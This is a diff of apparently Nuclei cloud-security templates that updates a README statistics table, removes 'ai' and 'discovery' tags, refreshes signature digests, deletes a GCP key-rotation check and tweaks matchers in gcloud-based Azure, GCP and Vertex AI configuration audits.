-| panel     |  1523 | ritikchaddha  |   775 | dast       |   249 | unknown  |    58 |      |       |
-| wp-plugin |  1459 | rxerium       |   644 | workflows  |   206 |          |       |      |       |
-| exposure  |  1443 | 0x_akoko      |   398 | javascript |   121 |          |       |      |       |
-| xss       |  1403 | pikpikcu      |   353 | ssl        |    38 |          |       |      |       |
-| osint     |  1131 | theamanrawat  |   336 | dns        |    30 |          |       |      |       |
+| cve       |  3275 | dhiyaneshdk   |  1877 | http       |  8913 | info     |  4154 | file |   435 |
+| panel     |  1338 | daffainfo     |   868 | cloud      |   657 | high     |  2439 | dns  |    26 |
+| xss       |  1255 | princechaddha |   826 | file       |   435 | medium   |  2374 |      |       |
+| wordpress |  1180 | dwisiswant0   |   806 | dast       |   255 | critical |  1418 |      |       |
+| exposure  |  1105 | ritikchaddha  |   648 | workflows  |   202 | low      |   318 |      |       |
+| wp-plugin |  1031 | pussycat0x    |   529 | code       |   198 | unknown  |    56 |      |       |
+| osint     |   813 | pikpikcu      |   352 | network    |   145 |          |       |      |       |
+| tech      |   800 | pdteam        |   310 | javascript |    71 |          |       |      |       |
+| rce       |   783 | pdresearch    |   267 | ssl        |    38 |          |       |      |       |
+| lfi       |   775 | iamnoooob     |   256 | dns        |    23 |          |       |      |       |
@@ -11,7 +11,7 @@ info:
    Configure your Azure OpenAI instances to use Customer-Managed Keys by setting up encryption key attributes in the Azure Key Vault and then linking them to your OpenAI service instances.
  reference:
    - https://docs.microsoft.com/en-us/azure/cognitive-services/encryption-key-management
-  tags: cloud,devops,azure,microsoft,openai,azure-cloud-config,ai
+  tags: cloud,devops,azure,microsoft,openai,azure-cloud-config

 flow: |
  code(1);
@@ -55,4 +55,4 @@ code:
      - type: dsl
        dsl:
          - '"$name in $resourceGroup does not use CMK"'
-# digest: 4a0a00473045022100afdd86b713882a921e9c21b476cb37844ce0635ee1d0c1592eb8aa18f5210dd102201b5725b8bcdb6d39f49cc605f81577c44c01a10d3241e9f23e6ad78c27f86d51:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502202d371c0b11e99b4639048d8838040f11717757a572237352dcc017df1fd69e630221008306f773a98c3b399126912a7b9338954bb249d368db8d7922f762bb4ef4632b:922c64590222798bb761d5b6d8e72950
@@ -11,7 +11,7 @@ info:
    Configure your Azure OpenAI service instances to use either system-assigned or user-assigned managed identities to enhance security and simplify resource access management.
  reference:
    - https://docs.microsoft.com/en-us/azure/cognitive-services/authentication
-  tags: cloud,devops,azure,microsoft,openai,azure-cloud-config,ai
+  tags: cloud,devops,azure,microsoft,openai,azure-cloud-config

 flow: |
  code(1);
@@ -54,4 +54,4 @@ code:
      - type: dsl
        dsl:
          - 'name + " in " + resourceGroup + " does not use a managed identity"'
-# digest: 4a0a00473045022100945bab0dc27ba091ec91d4985711f5036fe43509c43c46e3469fbbf687335748022045e04dc407597434705d69a87dd9eac2eb5d112f8f1ea2da2978fec0af63c9f6:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402201d2dd4c0da912a83c8dfb6e3c6fd56414e4da3a8b0118396060fccb00c7800620220759f09afa595c913f3fa7017cf66a84b68a639f7ffb1e9a6a4fb24499c91a983:922c64590222798bb761d5b6d8e72950
@@ -11,7 +11,7 @@ info:
    Configure all Azure OpenAI service instances to use private endpoints to enhance security and ensure that these instances are not accessible over the public internet.
  reference:
    - https://docs.microsoft.com/en-us/azure/private-link/private-endpoint-overview
-  tags: cloud,devops,azure,microsoft,openai,azure-cloud-config,ai
+  tags: cloud,devops,azure,microsoft,openai,azure-cloud-config

 flow: |
  code(1);
@@ -53,4 +53,4 @@ code:
      - type: dsl
        dsl:
          - 'name + " in " + resourceGroup + " does not have private endpoint connections configured"'
-# digest: 4b0a00483046022100ae0d494dae8c7664105ad9828e46f4ae2036b1eb83f20fab69548c1286adce3e022100f9a79065e6a6b95e8ccdb5f2393bc0a29c7a4c566b4c621408d2fa395a354502:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100fbffb2e6b093f781b961d876c19d527e0576808972d3b89b382cdb0272353f36022100947e6a2cf9934afc9b45991b207123cbedf3dd00437555c2aa7be081f3397a36:922c64590222798bb761d5b6d8e72950
@@ -11,7 +11,7 @@ info:
    Configure the Azure OpenAI service instances to disable public network access to secure them against unauthorized external access.
  reference:
    - https://docs.microsoft.com/en-us/azure/cognitive-services/cognitive-services-apis-create-account-cli?tabs=windows
-  tags: cloud,devops,azure,microsoft,openai,azure-cloud-config,ai
+  tags: cloud,devops,azure,microsoft,openai,azure-cloud-config

 flow: |
  code(1);
@@ -58,4 +58,4 @@ code:
      - type: dsl
        dsl:
          - '"$name in $resourceGroup has public network access enabled"'
-# digest: 4b0a00483046022100e7b40c386f3b996967bba58bdfcdd5364875f896a5b894e960b2a9d9041b5228022100b894c1d029450025de524a5dbaab8ead72723d06402973a454fe7ba8da39a1b9:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100a307116679a3bfcde8e8e662e343e414b7eb0307b7b48e8caab463a8fb1c4d1802200d15c837eb1ef033e38fdb9f6d48da4240a04cfb03831bfce2f082d7a64020a0:922c64590222798bb761d5b6d8e72950
@@ -9,7 +9,7 @@ info:
  metadata:
    verified: true
    max-request: 1
-  tags: cloud,enum,cloud-enum,aws,discovery
+  tags: cloud,enum,cloud-enum,aws

 self-contained: true

@@ -34,4 +34,4 @@ http:
          - 200
          - 302
        condition: or
-# digest: 4b0a00483046022100c72eb76f5a040d1b24e529a3f41d00e23912cbf1a822f0bbc1b70de50fb93cbc022100d1bee6e4d2cdaf0c30963a746715395fc4438d47e6ed5b19f3113ba7f5d32bef:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502202b00629a52cbcc198e7d34d2b64cb589c7f1e3656d03bf8c2c83b46cb0cd93bc022100dd71dc5ea04e3d278424d15691609e6c3a3967ba614fc43af74f11911acc25a1:922c64590222798bb761d5b6d8e72950
@@ -9,7 +9,7 @@ info:
  metadata:
    verified: true
    max-request: 1
-  tags: cloud,enum,cloud-enum,aws,discovery
+  tags: cloud,enum,cloud-enum,aws

 self-contained: true

@@ -38,4 +38,4 @@ http:
        name: "Protected AWS S3 Bucket"
        status:
          - 403
-# digest: 4a0a00473045022040330052e09b20ab8d7ce1876fa078a1d9561e6f80c536d599acbd71957fd618022100ee73a27026a07d4ee42e6f938ec0799946111aa9c771840ca9bbd22324910300:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022042762e76cd970a173e2b6ebcdb6b5eb7a50dee876ca17dc086869e49cb7a0918022074319bef7221719f2a0af22f125dfe951d2bd8caa49399e5e9d0e703a7eac74e:922c64590222798bb761d5b6d8e72950
@@ -9,7 +9,7 @@ info:
  metadata:
    verified: true
    max-request: 1
-  tags: cloud,enum,cloud-enum,azure,dns,discovery
+  tags: cloud,enum,cloud-enum,azure,dns

 self-contained: true

@@ -29,4 +29,4 @@ dns:
        part: answer
        words:
          - "IN\tA"
-# digest: 4b0a00483046022100a96a380a899cf2a5b297c97255b60a4badc8e2308c09cd4c276df94752197b71022100fde30e503e271d8078b6bed2a5320912aa65e20e4df8fc84cbc9cd7de415774a:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100996d1a8d7019d1d042888717ee86616809f7ccea1ef47eb0aaaa0e2416b874300220085a76c67e4cd35b6d3a6ce40b9923c00f76857411201bb5d2fe81e195cefb7e:922c64590222798bb761d5b6d8e72950
@@ -9,7 +9,7 @@ info:
  metadata:
    verified: true
    max-request: 1
-  tags: cloud,cloud-enum,azure,fuzz,enum,dns,discovery
+  tags: cloud,cloud-enum,azure,fuzz,enum,dns

 self-contained: true

@@ -63,4 +63,4 @@ dns:
        part: answer
        words:
          - "IN\tA"
-# digest: 490a00463044022032a541f5ba8267dc858da6b4bfedc88f03d5f99bd2b94c008e12123d0b532461022058bc8dfa894c8904f459774f9516ba5feacc00d91d50d39659e73a3bb0680a09:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502204d0fc3b9fa192c08f976d00ea8d644b1536049eae245faafd029f246da8e6b1d022100e3a584da363f2d1960192fd6660b09e70c6c9718644931fead2972ed32d5b6ee:922c64590222798bb761d5b6d8e72950
@@ -9,7 +9,7 @@ info:
  metadata:
    verified: true
    max-request: 1
-  tags: cloud,enum,azure,discovery
+  tags: cloud,enum,azure

 self-contained: true

@@ -34,4 +34,4 @@ http:
          - 200
          - 302
        condition: or
-# digest: 490a004630440220350306ed3cf366bf163000ac7fcd37ab19ac059636a5fab0deda3b351f1e11e4022039941af02eed8b6659c4933581bc2afb4213c1d8f3451b551c79954015f0da1a:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220126c63ac565607c646bd1900a65df995c60286fc15c2b779797206c86f0873880220068e36f8ca880bf0632051bb1e4bea5e97a012243737da3b48ee063e6ccac964:922c64590222798bb761d5b6d8e72950
@@ -9,7 +9,7 @@ info:
  metadata:
    verified: true
    max-request: 1
-  tags: enum,cloud,cloud-enum,gcp,discovery
+  tags: enum,cloud,cloud-enum,gcp

 self-contained: true

@@ -40,4 +40,4 @@ http:
          - "status_code==302"
          - contains(location, "login")
        condition: and
-# digest: 4b0a00483046022100b7ca6a5620e553021c93b3a71a9afb91726a420ca8cbe42fe1b43debb214b2600221009f199a7494eab9c50e752fa60040ebaf0831b622d5734eb8b3c1d4bf9cb971d4:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100fce31a63aab6e8bcaf7cb16745a7d23c0e735104e0b6ff47a0c77e2561e4cb4b022100853c57600af362b2fa7bd3e6551df494fa81dd043de250b32406130b65b183da:922c64590222798bb761d5b6d8e72950
@@ -9,7 +9,7 @@ info:
  metadata:
    verified: true
    max-request: 1
-  tags: cloud,enum,cloud-enum,gcp,discovery
+  tags: cloud,enum,cloud-enum,gcp

 self-contained: true

@@ -37,4 +37,4 @@ http:
        name: "Protected GCP Bucket"
        status:
          - 403
-# digest: 4b0a00483046022100f0faf908cbb5f61d20b65f332ad44de601d17049e4cf11b1859b65769a191e09022100c2e00fcfcd4e31c19378a99d4c2e11dd14993b4ccc6cb2b5a66668a2cb4b6f09:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402201c96ae60fa7a4b6502e37d1f0a368a06326c5d1c0621e333e1baa733a42b1a4902207412bf98d7e4aaf9b755810b30bda7827b495eae85a5607855376c0a1e1d8ab1:922c64590222798bb761d5b6d8e72950
@@ -9,7 +9,7 @@ info:
  metadata:
    verified: true
    max-request: 1
-  tags: enum,cloud,cloud-enum,gcp,discovery
+  tags: enum,cloud,cloud-enum,gcp

 self-contained: true

@@ -32,4 +32,4 @@ http:
        name: "Open GCP Firebase App"
        status:
          - 200
-# digest: 490a0046304402204d3c102572e65c69544af4d0472c1e5063d3faa67e07f8c41b9c23c67d3072d502205197c08d89064af55aba6c334c905ed0545b210f4ab2fb79bcbee3f40e5a46da:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100d46b37e833fc0fb66e93b0fd4bf7753abe3ff075eeae2735f79e09850585f7a902210081119295893a854aa69d6403778a3dd8818cd265412c0089391bdd5cf185fcb7:922c64590222798bb761d5b6d8e72950
@@ -9,7 +9,7 @@ info:
  metadata:
    verified: true
    max-request: 1
-  tags: enum,cloud,cloud-enum,gcp,discovery
+  tags: enum,cloud,cloud-enum,gcp

 self-contained: true

@@ -48,4 +48,4 @@ http:
        name: "Deactivated GCP Firebase RTDB"
        status:
          - 423
-# digest: 4b0a00483046022100b6b2896f4ce1e6a9837be3607a820f1bb941f25bde1af51e9660f64416928fe4022100e967115e55f332bf5b90d6801318bdf25c8c15edb0b4367bc61e2fb618e5381c:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502200fd19c4d2057f25272d37b7df6c1c910f3490fd6beda49f493f4f9daa8d697960221008d426fd69d100daf3ea7af86fb08be3d60d1ed8e505f0df50298aa7155e7a10c:922c64590222798bb761d5b6d8e72950
@@ -12,7 +12,7 @@ info:
    Regularly audit your DNS records and associated IP addresses. Remove any DNS records that point to IP addresses no longer reserved under your Google Cloud account.
  reference:
    - https://cloud.google.com/dns/docs
-  tags: cloud,devops,gcp,gcloud,dns,gcp-cloud-config,discovery
+  tags: cloud,devops,gcp,gcloud,dns,gcp-cloud-config

 flow: |
  code(1)
@@ -88,4 +88,4 @@ code:
      - type: dsl
        dsl:
          - '"Dangling DNS Record: Type: " + recordType + " Data: " + recordData + " in Zone: " + managedZone + " of Project: " + projectId'
-# digest: 4a0a0047304502204272ac41efa35729e016879c17d50d03f4b6ac55bfb4f8f44988453124e52510022100fa6369224c1eeb6551e2601a926be5495112c2ec965403dd2f0303907a37bfcd:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402202c5b70acf82fe3e4dbbdf2f4205f693e25cfafc642d5bc9c5b661b7685fcf2ee022032f7c3bd76089463d4bde9e6e4d9de7c25ffc32592167725b57b5ecf86d12e39:922c64590222798bb761d5b6d8e72950
@@ -12,7 +12,7 @@ info:
    Enable DNSSEC for each Google Cloud DNS managed zone through the Google Cloud Console or using the `gcloud dns managed-zones update` command with the `--dnssec-state=on` flag.
  reference:
    - https://cloud.google.com/dns/docs/dnssec
-  tags: cloud,devops,gcp,gcloud,dns,gcp-cloud-config,discovery
+  tags: cloud,devops,gcp,gcloud,dns,gcp-cloud-config

 flow: |
  code(1)
@@ -69,4 +69,4 @@ code:
      - type: dsl
        dsl:
          - '"DNSSEC not enabled for Managed Zone: " + managedZoneName + " in Project: " + projectId'
-# digest: 4a0a004730450220216452864fd498a37ca7126a7ac05c8ed4ef12e0ac61c64859e224448acedd6e022100a55e457f728bd9ecc9c5827ef7ae05c82e881f7b30df22fb18edd2b3c231a9d6:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100a63467b5c1df819e70daa1a522e5d82b1ebf323053c6059515d504ba3b21a7440220585e48a1e6f01417b987f45713c14ed23a02dcd48f34715a0a31287678703e63:922c64590222798bb761d5b6d8e72950
@@ -12,7 +12,7 @@ info:
    Update the DNSSEC configuration for each DNS managed zone to use more secure algorithms like RSASHA256 or ECDSAP256SHA256 for the Key-Signing Key (KSK).
  reference:
    - https://cloud.google.com/dns/docs/dnssec-config
-  tags: cloud,devops,gcp,gcloud,dns,dnssec,gcp-cloud-config,discovery
+  tags: cloud,devops,gcp,gcloud,dns,dnssec,gcp-cloud-config

 flow: |
  code(1)
@@ -69,4 +69,4 @@ code:
      - type: dsl
        dsl:
          - '"Deprecated RSASHA1 algorithm found in DNS managed zone: " + managedZone + " in Project: " + projectId'
-# digest: 4a0a00473045022100f824e7dde9600cd968137f059bb4796dabfa7cc877e9f5de277b66e0312ec234022028c76505257d8f5ad46be0313ef6d52e7f02f5f3dbcc0feb1f2052d7bd6b7a90:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100f1fba22253f98b9a21cc53aa6992c05c36ec882ebaee328c6b76b5ac3c5688b402206dcf925a8f866fe1240ba4fe8c20b80730229c5443fc645041aa23c0c3ca6758:922c64590222798bb761d5b6d8e72950
@@ -12,7 +12,7 @@ info:
    Update the DNSSEC configuration to use a stronger, more secure signing algorithm like RSASHA256 or ECDSAP256SHA256 for your DNS managed zones.
  reference:
    - https://cloud.google.com/dns/docs/dnssec-configuring
-  tags: cloud,devops,gcp,gcloud,dns,dnssec,gcp-cloud-config,discovery
+  tags: cloud,devops,gcp,gcloud,dns,dnssec,gcp-cloud-config

 flow: |
  code(1)
@@ -71,4 +71,4 @@ code:
      - type: dsl
        dsl:
          - '"Deprecated RSASHA1 Algorithm used in DNSSEC for Managed Zone: " + managedZoneName + " in Project: " + projectId'
-# digest: 4a0a00473045022100b162de9f0763eea4bcf9aa7277cb7298115a69682615a41e7680619b3f5e6a7d022070379ac61ebd9acdcdc3b5a15333969a2b443bd656f0dde2d86cefb9a38155c1:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100cb8b9fff2868480c6af2ad01eab469aae458e9d9bab3eff9a7e58b2bcf36d7c7022100d6a35be3a70ec1ae8d2e5abf280603f6b3c1a64e1e2fd5ae89bd0d281d4dda56:922c64590222798bb761d5b6d8e72950
@@ -1,77 +0,0 @@
-id: gcloud-service-account-keys-rotation
-
-info:
-  name: GCP Service Account Keys - No Rotation Configured
-  author: kelu27
-  severity: high
-  description: |
-    Detects Google Cloud Platform (GCP) service account keys that have no rotation enabled.
-    Keys with an expiration date of 9999-12-31T23:59:59 are considered non-rotating and pose security risks if compromised.
-  impact: |
-    Service account keys without rotation can remain valid indefinitely, making them vulnerable to compromise or misuse if leaked, stolen, or improperly secured.
-  remediation: |
-    Implement a key rotation policy for user-managed service account keys. Regularly rotate keys and delete old ones. Consider using Workload Identity Federation to eliminate the need for long-lived keys entirely.
-  reference:
-    - https://cloud.google.com/iam/docs/understanding-service-accounts
-    - https://cloud.google.com/iam/docs/best-practices-for-securing-service-accounts
-    - https://cloud.google.com/iam/docs/key-rotation
-  metadata:
-    max-request: 3
-  tags: cloud,devops,gcp,gcloud,iam,google-cloud-iam,gcp-cloud-config,security,rotation
-
-flow: |
-  code(1)
-  for(let projectId of iterate(template.projectIds)){
-    set("projectId", projectId)
-    code(2)
-    for(let email of iterate(template.emails)){
-      set("email", email)
-      code(3)
-    }
-  }
-
-self-contained: true
-
-code:
-  - engine:
-      - sh
-      - bash
-    source: |
-      gcloud projects list --format="json(projectId)"
-
-    extractors:
-      - type: json
-        name: projectIds
-        internal: true
-        json:
-          - ".[].projectId"
-
-  - engine:
-      - sh
-      - bash
-    source: |
-      gcloud iam service-accounts list --project $projectId --format="json(email)"
-
-    extractors:
-      - type: json
-        name: emails
-        internal: true
-        json:
-          - ".[].email"
-
-  - engine:
-      - sh
-      - bash
-    source: |
-      gcloud iam service-accounts keys list --iam-account=$email --format="json"
-
-    matchers:
-      - type: word
-        words:
-          - "9999-12-31T23:59:59"
-
-    extractors:
-      - type: dsl
-        dsl:
-          - '"Service Account Key without Rotation Found in Service Account " + email + " in project " + projectId'
-# digest: 4a0a0047304502204623d9adc6a13d65071f0594fa0b3d7fa5e896ca090bf8fa9839d929ade0c112022100d60606906dc75634017a16226765ffff6e9425c77da34ba19fa3b5566826259e:922c64590222798bb761d5b6d8e72950
@@ -39,7 +39,7 @@ code:
        name: projectIds
        internal: true
        json:
-          - ".[].projectId"
+          - '.[].projectId'

  - engine:
      - sh
@@ -52,7 +52,7 @@ code:
        name: emails
        internal: true
        json:
-          - ".[].email"
+          - '.[].email'

  - engine:
      - sh
@@ -63,12 +63,10 @@ code:
    matchers:
      - type: word
        words:
-          - "USER_MANAGED"
-          - "KEY_ID"
-        condition: or
+          - 'KEY_ID'

    extractors:
      - type: dsl
        dsl:
          - '"User-Managed Keys Found in Service Account " + email + " in project " + projectId'
-# digest: 490a0046304402200b5e24605932c74af12b6c325e37ca631802cc31f53ffbd0bc812862c1f2a6bf02205f1402f6334cba1c99ea9385c89646f8a707b752850f350c30263061779818c3:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502206d029c26c00ff70caf71ace521c4a91a88b47c2a3befd052c8f6b8aafc3df559022100b847c83b437bece07c45ae96c3b0636f4b64365aa023ecc548b446f9e3e6d5af:922c64590222798bb761d5b6d8e72950
@@ -39,7 +39,7 @@ code:
        name: projectIds
        internal: true
        json:
-          - ".[].projectId"
+          - '.[].projectId'

  - engine:
      - sh
@@ -52,7 +52,7 @@ code:
        name: buckets
        internal: true
        json:
-          - ".[].name"
+          - '.[].name'

  - engine:
      - sh
@@ -62,13 +62,11 @@ code:

    matchers:
      - type: word
-        negative: true
        words:
-          - "inherited"
-          - "enforced"
+          - 'inherited'

    extractors:
      - type: dsl
        dsl:
          - '"Public Access Prevention is not enabled for the bucket " + bucketName + " in project " + projectId'
-# digest: 4a0a00473045022100f5da0436a6b329b1bc22187624b39ca6eb16b8b7b500bad99158786c701d90c502200188b5517fb363ee7790049fc05f8d63ae6d8a23dc1763481b8bc1bc1333d301:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100c1b3ec23ade491f0feed95fabd9d6ddc0497ca798fc90e87e937354910e9fc79022061180eaadc90af9f7270297bfafaad491d57c30b6f5af1eee12f047e5e3c2885:922c64590222798bb761d5b6d8e72950
@@ -13,7 +13,7 @@ info:
  reference:
    - https://www.trendmicro.com/cloudoneconformity/knowledge-base/gcp/VertexAI/enable-auto-upgrades.html
    - https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-instance
-  tags: cloud,devops,gcp,gcloud,vertexai,security,upgrades,gcp-cloud-config,ai
+  tags: cloud,devops,gcp,gcloud,vertexai,security,upgrades,gcp-cloud-config

 flow: |
  code(1)
@@ -53,4 +53,4 @@ code:
      - type: dsl
        dsl:
          - '"Project " + projectId + " has Vertex AI notebook instances without automatic upgrades enabled"'
-# digest: 4a0a00473045022020ecc91c5e20e5b7a7e8c81a75e6f0841c2a8e6f6e10db7cd8c37cc485b65da8022100893a110acd719ebeb5da50f7aa6a9898afdc77259277fe618ce3312d34e5a494:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502204c9dcab870b9d74ffc92b4d124ae2c552cd7adc3c063df1c893eee8f1da63578022100d799039657b5ec98b9345069d8f38f00b0516c96be22e7a24057c45d767ac9e7:922c64590222798bb761d5b6d8e72950
@@ -13,7 +13,7 @@ info:
  reference:
    - https://www.trendmicro.com/cloudoneconformity/knowledge-base/gcp/VertexAI/default-vpc-in-use.html
    - https://cloud.google.com/vertex-ai/docs/workbench/user-managed/create-instance
-  tags: cloud,devops,gcp,gcloud,vertexai,networking,security,vpc,gcp-cloud-config,ai
+  tags: cloud,devops,gcp,gcloud,vertexai,networking,security,vpc,gcp-cloud-config

 flow: |
  code(1)
@@ -53,4 +53,4 @@ code:
      - type: dsl
        dsl:
          - '"Project " + projectId + " has Vertex AI notebook instances using the default VPC network"'
-# digest: 4b0a00483046022100a628bcce3d1a7dcc53a56f40f8f4865f54dd43d343da23897a0ece18ebf75961022100a96b22e32f581a4f14a406d6f58ded7288f7cfdd39d3152d635786ac71f02c42:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221009b5d1f2fcfc890c2f05563c6eb9622a256919795802a514c6182274d02a81818022100ebf9b5415abdc9b7966505657741b3d7e08b849035c0849d16be0aa5dcb8d7ed:922c64590222798bb761d5b6d8e72950
@@ -13,7 +13,7 @@ info:
  reference:
    - https://www.trendmicro.com/cloudoneconformity/knowledge-base/gcp/VertexAI/prevent-external-ip-usage.html
    - https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-instance
-  tags: cloud,devops,gcp,gcloud,vertexai,security,networking,gcp-cloud-config,ai
+  tags: cloud,devops,gcp,gcloud,vertexai,security,networking,gcp-cloud-config

 flow: |
  code(1)
@@ -53,4 +53,4 @@ code:
      - type: dsl
        dsl:
          - '"Project " + projectId + " has Vertex AI notebook instances with external IP addresses enabled"'
-# digest: 4a0a00473045022100eb58356e30e582e79db9e34c751398f257540bfa4716c2d1de37c82d242de38a0220320024c473e1bd4db36c9f640950a0a006aa63e5be2f444fbbd2254081cb3f05:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502206b8cab9d698ed9f4177859d3256fe52c1eb954938c92c81e7b4af186c551ec20022100f088f4ac582da61bdfd232ed2e0ce6a428113cd5a1e690284b8783342f6895c3:922c64590222798bb761d5b6d8e72950
@@ -13,7 +13,7 @@ info:
  reference:
    - https://www.trendmicro.com/cloudoneconformity/knowledge-base/gcp/VertexAI/enable-idle-shutdown.html
    - https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-instance
-  tags: cloud,devops,gcp,gcloud,vertexai,cost-optimization,gcp-cloud-config,ai
+  tags: cloud,devops,gcp,gcloud,vertexai,cost-optimization,gcp-cloud-config

 flow: |
  code(1)
@@ -53,4 +53,4 @@ code:
      - type: dsl
        dsl:
          - '"Project " + projectId + " has Vertex AI notebook instances without idle shutdown enabled"'
-# digest: 4a0a004730450220374d01f50a9d157a2d5fec68762d8051b89f6b1ed0376e88635e1511d68abe8a022100b34c712dc5baed678090996d90a412ddb40c480cec972fbef83ba807c150fc36:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221009b5693adc0278a31a62b47630197300145b36b00d470c8893ef5d2f19430607e0221008385cf51bd01f9652405b3344f8326549d4abcc49d876d73eb136a14818582d0:922c64590222798bb761d5b6d8e72950
@@ -13,7 +13,7 @@ info:
  reference:
    - https://www.trendmicro.com/cloudoneconformity/knowledge-base/gcp/VertexAI/enable-integrity-monitoring.html
    - https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-instance
-  tags: cloud,devops,gcp,gcloud,vertexai,security,integrity,gcp-cloud-config,ai
+  tags: cloud,devops,gcp,gcloud,vertexai,security,integrity,gcp-cloud-config

 flow: |
  code(1)
@@ -55,4 +55,4 @@ code:
      - type: dsl
        dsl:
          - '"Project " + projectId + " has Vertex AI notebook instances without integrity monitoring enabled"'
-# digest: 4a0a0047304502207db528887b8c3b4196abeece97c77bddd0a59322c0dca821358c99a93786708702210098618a9638dae1ff81fbe505882a575b4daa34ea2b3df20ce8f8662d92f5f8db:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100b215d362db9c0383615363d071e45a71b376694eb6a974ce4cbd5db9dec5691502200bc26776e97130ee6e43a1b6763258c4c8d24cc0095b319854af3f8812045dfa:922c64590222798bb761d5b6d8e72950
@@ -13,7 +13,7 @@ info:
  reference:
    - https://www.trendmicro.com/cloudoneconformity/knowledge-base/gcp/VertexAI/enable-cloud-monitoring.html
    - https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-instance
-  tags: cloud,devops,gcp,gcloud,vertexai,security,monitoring,gcp-cloud-config,ai
+  tags: cloud,devops,gcp,gcloud,vertexai,security,monitoring,gcp-cloud-config

 flow: |
  code(1)
@@ -53,4 +53,4 @@ code:
      - type: dsl
        dsl:
          - '"Project " + projectId + " has Vertex AI notebook instances without Cloud Monitoring enabled"'
-# digest: 490a00463044022046f0077349a98b3ff497d7d15ef487bb2814b921756ae2a564472817715425dc02204748a68363446c30b79aa3b2089a97a8c6314cb1ce1d2e7153659ffee5e3a2f5:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100c7bc99ba5cc3d543c53777ced4301fa9ece255d153202432c143fedcfab4955602206bc1d563f849b0db4fdcec3fc5d0fbf18372948eefe863ebdd7828364902ebe5:922c64590222798bb761d5b6d8e72950
@@ -13,7 +13,7 @@ info:
  reference:
    - https://trendmicro.com/cloudoneconformity/knowledge-base/gcp/VertexAI/disable-root-access.html
    - https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-instance
-  tags: cloud,devops,gcp,gcloud,vertexai,security,root-access,gcp-cloud-config,ai
+  tags: cloud,devops,gcp,gcloud,vertexai,security,root-access,gcp-cloud-config

 flow: |
  code(1)
@@ -53,4 +53,4 @@ code:
      - type: dsl
        dsl:
          - '"Project " + projectId + " has Vertex AI notebook instances with root access enabled"'
-# digest: 4b0a00483046022100f207075f7fb72babf0c77967aa1a0aecaecb83b2432bf71477b57a0c810f30a4022100f861b48c21882fec2e8b153fc922515644690029a3cfcc6200cb6b3bc34658bc:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502203fafa09fd627295440cda0833154e362ad16f53551c11446c640eef34c1cd7e8022100a848ce9d7e2f458fe5454494e88df994cefe9ed2657c893fd8d7ac46091c6783:922c64590222798bb761d5b6d8e72950
@@ -13,7 +13,7 @@ info:
  reference:
    - https://www.trendmicro.com/cloudoneconformity/knowledge-base/gcp/VertexAI/enable-secure-boot.html
    - https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-instance
-  tags: cloud,devops,gcp,gcloud,vertexai,security,secure-boot,gcp-cloud-config,ai
+  tags: cloud,devops,gcp,gcloud,vertexai,security,secure-boot,gcp-cloud-config

 flow: |
  code(1)
@@ -53,4 +53,4 @@ code:
      - type: dsl
        dsl:
          - '"Project " + projectId + " has Vertex AI notebook instances without Secure Boot enabled"'
-# digest: 4a0a0047304502207866f5d4ad7aba081232ed70b2ca4e104f7d781d1320b152cad1ada406601b4e022100dfebaafce7a40c3fa12304f63b34dd7d758108f65204e752139ec65d6dfd8bb0:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a0048304602210082e89eb94bc0d7ab464530e9adc73c736fa580813fb37e4c135b491da8598f13022100e361b6ec75ffff463f72c5ab9af82594fa3bac07639c3147ede1fa6c2374cb6c:922c64590222798bb761d5b6d8e72950
@@ -13,7 +13,7 @@ info:
  reference:
    - https://www.trendmicro.com/cloudoneconformity/knowledge-base/gcp/VertexAI/enable-vtpm.html
    - https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-instance
-  tags: cloud,devops,gcp,gcloud,vertexai,security,vtpm,gcp-cloud-config,ai
+  tags: cloud,devops,gcp,gcloud,vertexai,security,vtpm,gcp-cloud-config

 flow: |
  code(1)
@@ -53,4 +53,4 @@ code:
      - type: dsl
        dsl:
          - '"Project " + projectId + " has Vertex AI notebook instances without Virtual Trusted Platform Module (vTPM) enabled"'
-# digest: 4a0a0047304502200a062fbf1e24e81fed35d1e0da64536f63b695ad66c7c4ed40d8dbe2d5c6350702210085620cf4d8a4001277295a946d3c7fdbfe48d5c4211da71d13494be91f5b323f:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221008daab33ee8514bd0a358a39a0c7d5230d9f00695fc2dafcea6cb20b78efe6c1a022100f29c8980ff8d878cdca0220035201e74e8670496e896f4e8c4b6a1f41675ae13:922c64590222798bb761d5b6d8e72950
@@ -35,7 +35,7 @@ code:
        name: projectIds
        internal: true
        json:
-          - ".[].projectId"
+          - '.[].projectId'

  - engine:
      - sh
@@ -45,12 +45,11 @@ code:

    matchers:
